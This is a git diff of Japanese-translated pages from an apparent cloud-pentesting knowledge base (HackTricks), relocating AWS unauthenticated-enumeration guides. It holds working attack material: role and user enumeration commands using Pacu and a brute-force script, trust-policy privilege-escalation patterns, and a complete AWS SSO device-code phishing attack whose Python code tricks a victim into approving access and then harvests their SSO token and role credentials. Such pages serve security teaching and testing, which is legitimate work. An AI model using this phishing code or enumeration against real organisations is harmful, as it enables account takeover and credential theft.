+../../aws-services/aws-elastic-beanstalk-enum.md
+{{#endref}}
+
+### Webの脆弱性
+
+デフォルトでは Beanstalk 環境は **Metadatav1 disabled** になっていることに注意してください。
+
+Beanstalk の Web ページの形式は **`https://<webapp-name>-env.<region>.elasticbeanstalk.com/`** です。
+
+### 不適切な Security Group ルール
+
+Security Group ルールの誤設定により Elastic Beanstalk インスタンスが公開されることがあります。**敏感なポートで任意のIPアドレス(0.0.0.0/0)からのトラフィックを許可するなど、過度に許容的な ingress ルールは攻撃者がインスタンスにアクセスできるようにしてしまいます**。
+
+### Publicly Accessible Load Balancer
+
+Elastic Beanstalk 環境が load balancer を使用しており、その load balancer が公開アクセス可能に設定されている場合、攻撃者は **load balancer に直接リクエストを送る** ことができます。これは本来公開を目的とした Web アプリケーションでは問題にならない場合がありますが、プライベートなアプリケーションや環境では問題になることがあります。
+
+### Publicly Accessible S3 Buckets
+
+Elastic Beanstalk のアプリケーションはデプロイ前に S3 バケットに保存されることが多いです。アプリケーションを含む S3 バケットが公開されている場合、攻撃者は **アプリケーションコードをダウンロードして脆弱性や機密情報を探す** ことができます。
+
+### 公開環境の列挙
+```bash
+aws elasticbeanstalk describe-environments --query 'Environments[?OptionSettings[?OptionName==`aws:elbv2:listener:80:defaultProcess` && contains(OptionValue, `redirect`)]].{EnvironmentName:EnvironmentName, ApplicationName:ApplicationName, Status:Status}' --output table
+```
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum/README.md
similarity index 55%
rename from src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md
rename to src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum/README.md
index 524ec1f6c..8e7c0a4aa 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum/README.md
@@ -1,10 +1,10 @@
 # AWS - Elasticsearch Unauthenticated Enum
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
-### 公開URLテンプレート
+### 公開 URL テンプレート
 ```
 https://vpc-{user_provided}-[random].[region].es.amazonaws.com
 https://search-{user_provided}-[random].[region].es.amazonaws.com
 ```
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md
deleted file mode 100644
index f7cd3d289..000000000
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md
+++ /dev/null
@@ -1,162 +0,0 @@
-# AWS - IAM & STS 未認証列挙
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## アカウント内のロールとユーザー名を列挙する
-
-### ~~ロールのブルートフォース攻撃~~
-
-> [!CAUTION]
-> **この技術はもう機能しません**。ロールが存在するかどうかにかかわらず、常にこのエラーが表示されます：
->
-> `An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::947247140022:user/testenv is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::429217632764:role/account-balanceasdas`
->
-> **これを実行してテストできます**：
->
-> `aws sts assume-role --role-arn arn:aws:iam::412345678909:role/superadmin --role-session-name s3-access-example`
-
-必要な権限なしに**ロールを引き受けようとすると**、AWSエラーメッセージが表示されます。たとえば、無許可の場合、AWSは次のように返すことがあります：
-```ruby
-An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::012345678901:user/MyUser is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::111111111111:role/aws-service-role/rds.amazonaws.com/AWSServiceRoleForRDS
-```
-このメッセージはロールの存在を確認しますが、そのロールの引き受けポリシーがあなたの引き受けを許可していないことを示しています。対照的に、**存在しないロールを引き受けようとすると異なるエラーが発生します**:
-```less
-An error occurred (AccessDenied) when calling the AssumeRole operation: Not authorized to perform sts:AssumeRole
-```
-興味深いことに、**既存のロールと存在しないロールを区別する**この方法は、異なるAWSアカウント間でも適用可能です。有効なAWSアカウントIDとターゲットワードリストがあれば、アカウント内に存在するロールを列挙することができ、固有の制限に直面することはありません。
-
-この[スクリプトを使用して潜在的なプリンシパルを列挙](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/assume_role_enum)することができます。
-
-### 信頼ポリシー: クロスアカウントロールとユーザーのブルートフォース
-
-**IAMロールの信頼ポリシーを構成または更新することは、そのロールを引き受けることが許可されているAWSリソースまたはサービスを定義することを含み、**一時的な資格情報を取得します。ポリシー内で指定されたリソースが**存在する**場合、信頼ポリシーは**正常に**保存されます。しかし、リソースが**存在しない**場合、**エラーが生成され**、無効なプリンシパルが提供されたことを示します。
-
-> [!WARNING]
-> そのリソース内でクロスアカウントロールまたはユーザーを指定できることに注意してください:
->
-> - `arn:aws:iam::acc_id:role/role_name`
-> - `arn:aws:iam::acc_id:user/user_name`
-
-これはポリシーの例です:
-```json
-{
-"Version": "2012-10-17",
-"Statement": [
-{
-"Effect": "Allow",
-"Principal": {
-"AWS": "arn:aws:iam::216825089941:role/Test"
-},
-"Action": "sts:AssumeRole"
-}
-]
-}
-```
-#### GUI
-
-それは、**存在しないロール**を使用した場合に見つかる**エラー**です。ロールが**存在する**場合、ポリシーはエラーなしで**保存**されます。（エラーは更新用ですが、作成時にも機能します）
-
-![](<../../../images/image (153).png>)
-
-#### CLI
-```bash
-### You could also use: aws iam update-assume-role-policy
-# When it works
-aws iam create-role --role-name Test-Role --assume-role-policy-document file://a.json
-{
-"Role": {
-"Path": "/",
-"RoleName": "Test-Role",
-"RoleId": "AROA5ZDCUJS3DVEIYOB73",
-"Arn": "arn:aws:iam::947247140022:role/Test-Role",
-"CreateDate": "2022-05-03T20:50:04Z",
-"AssumeRolePolicyDocument": {
-"Version": "2012-10-17",
-"Statement": [
-{
-"Effect": "Allow",
-"Principal": {
-"AWS": "arn:aws:iam::316584767888:role/account-balance"
-},
-"Action": [
-"sts:AssumeRole"
-]
-}
-]
-}
-}
-}
-
-# When it doesn't work
-aws iam create-role --role-name Test-Role2 --assume-role-policy-document file://a.json
-An error occurred (MalformedPolicyDocument) when calling the CreateRole operation: Invalid principal in policy: "AWS":"arn:aws:iam::316584767888:role/account-balanceefd23f2"
-```
-このプロセスは[https://github.com/carlospolop/aws_tools](https://github.com/carlospolop/aws_tools)を使って自動化できます。
-
-- `bash unauth_iam.sh -t user -i 316584767888 -r TestRole -w ./unauth_wordlist.txt`
-
-私たちの使用する[Pacu](https://github.com/RhinoSecurityLabs/pacu):
-
-- `run iam__enum_users --role-name admin --account-id 229736458923 --word-list /tmp/names.txt`
-- `run iam__enum_roles --role-name admin --account-id 229736458923 --word-list /tmp/names.txt`
-- 例で使用されている`admin`ロールは、pacuが列挙のために必要なポリシーを作成するために**あなたのアカウントで偽装されるロール**です。
-
-### Privesc
-
-ロールが不適切に構成されており、誰でもそれを引き受けることができる場合:
-```json
-{
-"Version": "2012-10-17",
-"Statement": [
-{
-"Effect": "Allow",
-"Principal": {
-"AWS": "*"
-},
-"Action": "sts:AssumeRole"
-}
-]
-}
-```
-攻撃者はそれを仮定することができます。
-
-## サードパーティOIDCフェデレーション
-
-あなたが**AWS**内の**ロール**にアクセスしている**Github Actionsワークフロー**を読むことができたと想像してください。\
-この信頼は、次の**信頼ポリシー**を持つロールへのアクセスを与える可能性があります：
-```json
-{
-"Version": "2012-10-17",
-"Statement": [
-{
-"Effect": "Allow",
-"Principal": {
-"Federated": "arn:aws:iam::<acc_id>:oidc-provider/token.actions.githubusercontent.com"
-},
-"Action": "sts:AssumeRoleWithWebIdentity",
-"Condition": {
-"StringEquals": {
-"token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
-}
-}
-}
-]
-}
-```
-この信頼ポリシーは正しいかもしれませんが、**より多くの条件が欠けている**ため、信頼しないべきです。\
-これは、前のロールが**Github Actionsの誰でも**引き受けることができるからです！条件には、組織名、リポジトリ名、環境、ブランチなどの他の要素も指定する必要があります...
-
-もう一つの潜在的な誤設定は、次のような**条件を追加する**ことです：
-```json
-"StringLike": {
-"token.actions.githubusercontent.com:sub": "repo:org_name*:*"
-}
-```
-**コロン** (:) の前の **ワイルドカード** (\*) に注意してください。**org_name1** のような組織を作成し、Github Action から **ロールを引き受ける** ことができます。
-
-## 参考文献
-
-- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ)
-- [https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/](https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/)
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum/README.md
new file mode 100644
index 000000000..1efe59c9b
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum/README.md
@@ -0,0 +1,162 @@
+# AWS - IAM & STS Unauthenticated Enum
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## アカウント内の Roles & Usernames を列挙
+
+### ~~Assume Role Brute-Force~~
+
+> [!CAUTION]
+> **この手法はもはや機能しません。** role が存在するかどうかに関係なく、常に次のエラーが返されます:
+>
+> `An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::947247140022:user/testenv is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::429217632764:role/account-balanceasdas`
+>
+> 以下を実行して **確認できます**:
+>
+> `aws sts assume-role --role-arn arn:aws:iam::412345678909:role/superadmin --role-session-name s3-access-example`
+
+必要な権限なしで **role を assume** しようとすると、AWS のエラーメッセージが返されます。例えば、認可されていない場合、AWS は次のようなメッセージを返すことがあります:
+```ruby
+An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::012345678901:user/MyUser is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::111111111111:role/aws-service-role/rds.amazonaws.com/AWSServiceRoleForRDS
+```
+このメッセージはロールの存在を確認しますが、その assume role policy によってあなたがそのロールを assume することは許可されていないことを示しています。対照的に、**assume a non-existent role leads to a different error**:
+```less
+An error occurred (AccessDenied) when calling the AssumeRole operation: Not authorized to perform sts:AssumeRole
+```
+Interestingly, this method of **discerning between existing and non-existing roles** is applicable even across different AWS accounts. With a valid AWS account ID and a targeted wordlist, one can enumerate the roles present in the account without facing any inherent limitations.
+
+You can use this [潜在的なプリンシパルを列挙するためのスクリプト](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/assume_role_enum) abusing this issue.
+
+### Trust Policies: Brute-Force Cross Account roles and users
+
+Configuring or updating an **IAM role's trust policy involves defining which AWS resources or services are permitted to assume that role** and obtain temporary credentials. If the specified resource in the policy **exists**, the trust policy saves **successfully**. However, if the resource **does not exist**, an **error is generated**, indicating that an invalid principal was provided.
+
+> [!WARNING]
+> Note that in that resource you could specify a cross account role or user:
+>
+> - `arn:aws:iam::acc_id:role/role_name`
+> - `arn:aws:iam::acc_id:user/user_name`
+
+This is a policy example:
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Principal": {
+"AWS": "arn:aws:iam::216825089941:role/Test"
+},
+"Action": "sts:AssumeRole"
+}
+]
+}
+```
+#### GUI
+
+それは、**エラー**で、**存在しないロール**を使用した場合に表示されるものです。ロールが**存在する**場合、ポリシーはエラーなく**保存**されます。（このエラーは更新時のものですが、作成時にも同様に発生します）
+
+![](<../../../images/image (153).png>)
+
+#### CLI
+```bash
+### You could also use: aws iam update-assume-role-policy
+# When it works
+aws iam create-role --role-name Test-Role --assume-role-policy-document file://a.json
+{
+"Role": {
+"Path": "/",
+"RoleName": "Test-Role",
+"RoleId": "AROA5ZDCUJS3DVEIYOB73",
+"Arn": "arn:aws:iam::947247140022:role/Test-Role",
+"CreateDate": "2022-05-03T20:50:04Z",
+"AssumeRolePolicyDocument": {
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Principal": {
+"AWS": "arn:aws:iam::316584767888:role/account-balance"
+},
+"Action": [
+"sts:AssumeRole"
+]
+}
+]
+}
+}
+}
+
+# When it doesn't work
+aws iam create-role --role-name Test-Role2 --assume-role-policy-document file://a.json
+An error occurred (MalformedPolicyDocument) when calling the CreateRole operation: Invalid principal in policy: "AWS":"arn:aws:iam::316584767888:role/account-balanceefd23f2"
+```
+このプロセスは [https://github.com/carlospolop/aws_tools](https://github.com/carlospolop/aws_tools) で自動化できます
+
+- `bash unauth_iam.sh -t user -i 316584767888 -r TestRole -w ./unauth_wordlist.txt`
+
+または [Pacu](https://github.com/RhinoSecurityLabs/pacu) を使用:
+
+- `run iam__enum_users --role-name admin --account-id 229736458923 --word-list /tmp/names.txt`
+- `run iam__enum_roles --role-name admin --account-id 229736458923 --word-list /tmp/names.txt`
+- 例で使用している `admin` ロールは、**あなたのアカウント内で pacu によってインパーソネートされるロール**で、列挙のために必要なポリシーを作成するために使用されます。
+
+### Privesc
+
+ロールが誤って設定され、誰でも assume できる場合:
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Principal": {
+"AWS": "*"
+},
+"Action": "sts:AssumeRole"
+}
+]
+}
+```
+攻撃者は単にそれをassumeすることができる。
+
+## Third Party OIDC Federation
+
+たとえば、**Github Actions workflow** が **AWS** 内の **role** にアクセスしているのを読み取れると想像してください。\
+この信頼は、次のような **trust policy** を持つ role へのアクセスを与える可能性があります：
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Principal": {
+"Federated": "arn:aws:iam::<acc_id>:oidc-provider/token.actions.githubusercontent.com"
+},
+"Action": "sts:AssumeRoleWithWebIdentity",
+"Condition": {
+"StringEquals": {
+"token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
+}
+}
+}
+]
+}
+```
+この trust policy は一見正しいかもしれませんが、**より多くの条件がないこと**があるため、信用すべきではありません。\
+これは前の role を **Github Actions の誰でも** 引き受けられるためです！条件には org name, repo name, env, brach... なども指定するべきです。
+
+別の潜在的なミスコンフィグは、次のように**条件を追加する**ことです：
+```json
+"StringLike": {
+"token.actions.githubusercontent.com:sub": "repo:org_name*:*"
+}
+```
+注意：**wildcard** (\*) が **colon** (:) の前にあることに留意してください。たとえば **org_name1** のような org を作成し、Github Action から **assume the role** することができます。
+
+## 参考資料
+
+- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ)
+- [https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/](https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/)
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md
deleted file mode 100644
index 410b3e321..000000000
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md
+++ /dev/null
@@ -1,123 +0,0 @@
-# AWS - Identity Center & SSO 認証なし列挙
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## AWS デバイスコードフィッシング
-
-最初に[**このブログ記事**](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/)で提案されたように、AWS SSOを使用してユーザーに**リンク**を送信することが可能で、**ユーザーが承認**すると、攻撃者は**ユーザーを偽装するためのトークン**を取得し、**Identity Center**でユーザーがアクセスできるすべてのロールにアクセスできるようになります。
-
-この攻撃を実行するための要件は次のとおりです：
-
-- 被害者は**Identity Center**を使用している必要があります
-- 攻撃者は被害者が使用している**サブドメイン**を知っている必要があります `<victimsub>.awsapps.com/start`
-
-前述の情報だけで、**攻撃者はユーザーにリンクを送信でき**、**承認されると**攻撃者はAWSユーザーアカウントへの**アクセス権**を得ることができます。
-
-### 攻撃
-
-1. **サブドメインの特定**
-
-攻撃者の最初のステップは、被害者の会社がIdentity Centerで使用しているサブドメインを特定することです。これは**OSINT**や**推測 + ブルートフォース**を通じて行うことができ、ほとんどの会社はここで自社名またはそのバリエーションを使用しています。
-
-この情報をもとに、Identity Centerが設定されたリージョンを取得することが可能です：
-```bash
-curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"'
-"region":"us-east-1
-```
-2. **被害者のリンクを生成して送信する**
-
-次のコードを実行して、被害者が認証できるAWS SSOログインリンクを生成します。\
-デモのために、このコードをPythonコンソールで実行し、後でトークンを取得するためにいくつかのオブジェクトが必要になるので、終了しないでください:
-```python
-import boto3
-
-REGION = 'us-east-1' # CHANGE THIS
-AWS_SSO_START_URL = 'https://victim.awsapps.com/start' # CHANGE THIS
-
-sso_oidc = boto3.client('sso-oidc', region_name=REGION)
-client = sso_oidc.register_client(
-clientName = 'attacker',
-clientType = 'public'
-)
-
-client_id = client.get('clientId')
-client_secret = client.get('clientSecret')
-authz = sso_oidc.start_device_authorization(
-clientId=client_id,
-clientSecret=client_secret,
-startUrl=AWS_SSO_START_URL
-)
-
-url = authz.get('verificationUriComplete')
-deviceCode = authz.get('deviceCode')
-print("Give this URL to the victim: " + url)
-```
-被害者に生成されたリンクを送信し、あなたの素晴らしいソーシャルエンジニアリングスキルを使いましょう！
-
-3. **被害者がそれを受け入れるのを待ちます**
-
-被害者が**すでにAWSにログインしている**場合、権限を付与することを受け入れるだけで済みます。ログインしていない場合は、**ログインしてから権限を付与することを受け入れる必要があります**。\
-これが現在のプロンプトの見た目です：
-
-<figure><img src="../../../images/image (343).png" alt="" width="311"><figcaption></figcaption></figure>
-
-4. **SSOアクセストークンを取得する**
-
-被害者がプロンプトを受け入れた場合、このコードを実行して**ユーザーを偽装してSSOトークンを生成します**：
-```python
-token_response = sso_oidc.create_token(
-clientId=client_id,
-clientSecret=client_secret,
-grantType="urn:ietf:params:oauth:grant-type:device_code",
-deviceCode=deviceCode
-)
-sso_token = token_response.get('accessToken')
-```
-SSOアクセストークンは**8時間有効**です。
-
-5. **ユーザーをなりすます**
-```python
-sso_client = boto3.client('sso', region_name=REGION)
-
-# List accounts where the user has access
-aws_accounts_response = sso_client.list_accounts(
-accessToken=sso_token,
-maxResults=100
-)
-aws_accounts_response.get('accountList', [])
-
-# Get roles inside an account
-roles_response = sso_client.list_account_roles(
-accessToken=sso_token,
-accountId=<account_id>
-)
-roles_response.get('roleList', [])
-
-# Get credentials over a role
-
-sts_creds = sso_client.get_role_credentials(
-accessToken=sso_token,
-roleName=<role_name>,
-accountId=<account_id>
-)
-sts_creds.get('roleCredentials')
-```
-### フィッシングできないMFAのフィッシング
-
-以前の攻撃が**「フィッシングできないMFA」（webAuth）が使用されていても機能する**ことを知るのは楽しいです。これは、以前の**ワークフローが使用されているOAuthドメインを離れない**ためです。他のフィッシング攻撃とは異なり、ユーザーがログインドメインを偽装する必要がある場合、デバイスコードワークフローは**デバイスによって知られているコード**が準備されているため、ユーザーは異なるマシンでもログインできます。プロンプトを受け入れると、デバイスは**初期コードを知っているだけで**、ユーザーのために**資格情報を取得する**ことができます。
-
-詳細については、[**この投稿を確認してください**](https://mjg59.dreamwidth.org/62175.html)。
-
-### 自動ツール
-
-- [https://github.com/christophetd/aws-sso-device-code-authentication](https://github.com/christophetd/aws-sso-device-code-authentication)
-- [https://github.com/sebastian-mora/awsssome_phish](https://github.com/sebastian-mora/awsssome_phish)
-
-## 参考文献
-
-- [https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/)
-- [https://ruse.tech/blogs/aws-sso-phishing](https://ruse.tech/blogs/aws-sso-phishing)
-- [https://mjg59.dreamwidth.org/62175.html](https://mjg59.dreamwidth.org/62175.html)
-- [https://ramimac.me/aws-device-auth](https://ramimac.me/aws-device-auth)
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum/README.md
new file mode 100644
index 000000000..7ba100d3f
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum/README.md
@@ -0,0 +1,123 @@
+# AWS - Identity Center & SSO Unauthenticated Enum
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## AWS Device Code Phishing
+
+Initially proposed in [**this blog post**](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/), it's possible to send a **link** to a user using AWS SSO that if the **user accepts** the attacker will be able to get a **token to impersonate the user** and access all the roles the user is able to access in the **Identity Center**.
+
+In order to perform this attack the requisites are:
+
+- The victim needs to use **Identity Center**
+- The attacker must know the **subdomain** used by the victim `<victimsub>.awsapps.com/start`
+
+Just with the previous info, the **attacker will be able to send a link to the user** that if **accepted** will grant the **attacker access over the AWS user** account.
+
+### 攻撃
+
+1. **subdomain の特定**
+
+攻撃者の最初のステップは、被害企業が Identity Center で使用している subdomain を突き止めることです。これは多くの場合、会社名やその派生を使用しているため、**OSINT** や **guessing + BF** によって行えます。
+
+With this info, it's possible to get the region where the Indentity Center was configured with:
+```bash
+curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"'
+"region":"us-east-1
+```
+2. **被害者のためのリンクを生成して送信する**
+
+以下のコードを実行して、被害者が認証できるように AWS SSO ログインリンクを生成します。\
+デモでは、このコードを python コンソールで実行し、後でトークンを取得するためにいくつかのオブジェクトが必要になるので終了しないでください:
+```python
+import boto3
+
+REGION = 'us-east-1' # CHANGE THIS
+AWS_SSO_START_URL = 'https://victim.awsapps.com/start' # CHANGE THIS
+
+sso_oidc = boto3.client('sso-oidc', region_name=REGION)
+client = sso_oidc.register_client(
+clientName = 'attacker',
+clientType = 'public'
+)
+
+client_id = client.get('clientId')
+client_secret = client.get('clientSecret')
+authz = sso_oidc.start_device_authorization(
+clientId=client_id,
+clientSecret=client_secret,
+startUrl=AWS_SSO_START_URL
+)
+
+url = authz.get('verificationUriComplete')
+deviceCode = authz.get('deviceCode')
+print("Give this URL to the victim: " + url)
+```
+生成したリンクをあなたの優れたソーシャルエンジニアリング技術を使って被害者に送ってください！
+
+3. **被害者が承諾するまで待つ**
+
+被害者が **すでに AWS にログインしている** 場合、権限付与を承諾するだけで済みます。ログインしていない場合は、**ログインしてから権限付与を承諾する** 必要があります。\
+This is how the promp looks nowadays:
+
+<figure><img src="../../../images/image (343).png" alt="" width="311"><figcaption></figcaption></figure>
+
+4. **SSO アクセストークンを取得する**
+
+被害者がプロンプトを承諾した場合、次のコードを実行して **ユーザーをなりすまして SSO トークンを生成します**：
+```python
+token_response = sso_oidc.create_token(
+clientId=client_id,
+clientSecret=client_secret,
+grantType="urn:ietf:params:oauth:grant-type:device_code",
+deviceCode=deviceCode
+)
+sso_token = token_response.get('accessToken')
+```
+SSOアクセストークンは**8時間有効**です。
+
+5. **ユーザーになりすます**
+```python
+sso_client = boto3.client('sso', region_name=REGION)
+
+# List accounts where the user has access
+aws_accounts_response = sso_client.list_accounts(
+accessToken=sso_token,
+maxResults=100
+)
+aws_accounts_response.get('accountList', [])
+
+# Get roles inside an account
+roles_response = sso_client.list_account_roles(
+accessToken=sso_token,
+accountId=<account_id>
+)
+roles_response.get('roleList', [])
+
+# Get credentials over a role
+
+sts_creds = sso_client.get_role_credentials(
+accessToken=sso_token,
+roleName=<role_name>,
+accountId=<account_id>
+)
+sts_creds.get('roleCredentials')
+```
+### Phishing the unphisable MFA
+
+前述の攻撃が、**"unphisable MFA" (webAuth) が使われている場合でも動作する**という事実は興味深いです。これは、前述の**ワークフローが使用中の OAuth ドメインを離れない**ためです。他のフィッシング攻撃のようにユーザーがログインドメインを差し替える必要がある場合とは異なり、このケースでは device code ワークフローが準備され、**code がデバイス側で既に知られている**ため、ユーザーは別のマシンからでもログインできます。プロンプトが承認されると、デバイスは**initial code を知っているだけで**ユーザーの**credentials を取得する**ことができます。
+
+For more info about this [**check this post**](https://mjg59.dreamwidth.org/62175.html).
+
+### 自動ツール
+
+- [https://github.com/christophetd/aws-sso-device-code-authentication](https://github.com/christophetd/aws-sso-device-code-authentication)
+- [https://github.com/sebastian-mora/awsssome_phish](https://github.com/sebastian-mora/awsssome_phish)
+
+## 参考
+
+- [https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/)
+- [https://ruse.tech/blogs/aws-sso-phishing](https://ruse.tech/blogs/aws-sso-phishing)
+- [https://mjg59.dreamwidth.org/62175.html](https://mjg59.dreamwidth.org/62175.html)
+- [https://ramimac.me/aws-device-auth](https://ramimac.me/aws-device-auth)
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md
deleted file mode 100644
index 0043b8442..000000000
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md
+++ /dev/null
@@ -1,11 +0,0 @@
-# AWS - IoT 認証なし列挙
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-### 公開URLテンプレート
-```
-mqtt://{random_id}.iot.{region}.amazonaws.com:8883
-https://{random_id}.iot.{region}.amazonaws.com:8443
-https://{random_id}.iot.{region}.amazonaws.com:443
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum/README.md
new file mode 100644
index 000000000..e328dd913
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum/README.md
@@ -0,0 +1,11 @@
+# AWS - IoT Unauthenticated Enum
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+### 公開 URL テンプレート
+```
+mqtt://{random_id}.iot.{region}.amazonaws.com:8883
+https://{random_id}.iot.{region}.amazonaws.com:8443
+https://{random_id}.iot.{region}.amazonaws.com:443
+```
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md
deleted file mode 100644
index 534cfab94..000000000
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md
+++ /dev/null
@@ -1,9 +0,0 @@
-# AWS - Kinesis Video Unauthenticated Enum
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-### 公開URLテンプレート
-```
-https://{random_id}.kinesisvideo.{region}.amazonaws.com
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum/README.md
new file mode 100644
index 000000000..9d548cde7
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum/README.md
@@ -0,0 +1,9 @@
+# AWS - Kinesis Video Unauthenticated Enum
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+### 公開 URL テンプレート
+```
+https://{random_id}.kinesisvideo.{region}.amazonaws.com
+```
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md
deleted file mode 100644
index f24ab1806..000000000
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md
+++ /dev/null
@@ -1,20 +0,0 @@
-# AWS - Lambda 認証なしアクセス
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## 公開関数URL
-
-誰でもアクセスできる**Lambda**と**公開関数URL**を関連付けることが可能です。これにはウェブの脆弱性が含まれている可能性があります。
-
-### 公開URLテンプレート
-```
-https://{random_id}.lambda-url.{region}.on.aws/
-```
-### 公開Lambda URLからアカウントIDを取得する
-
-S3バケット、Data Exchange、APIゲートウェイと同様に、公開Lambda URLから**`aws:ResourceAccount`** **ポリシー条件キー**を悪用してアカウントのアカウントIDを見つけることが可能です。これは、ポリシーの**`aws:ResourceAccount`**セクションでワイルドカードを悪用して、一度に1文字ずつアカウントIDを見つけることによって行われます。\
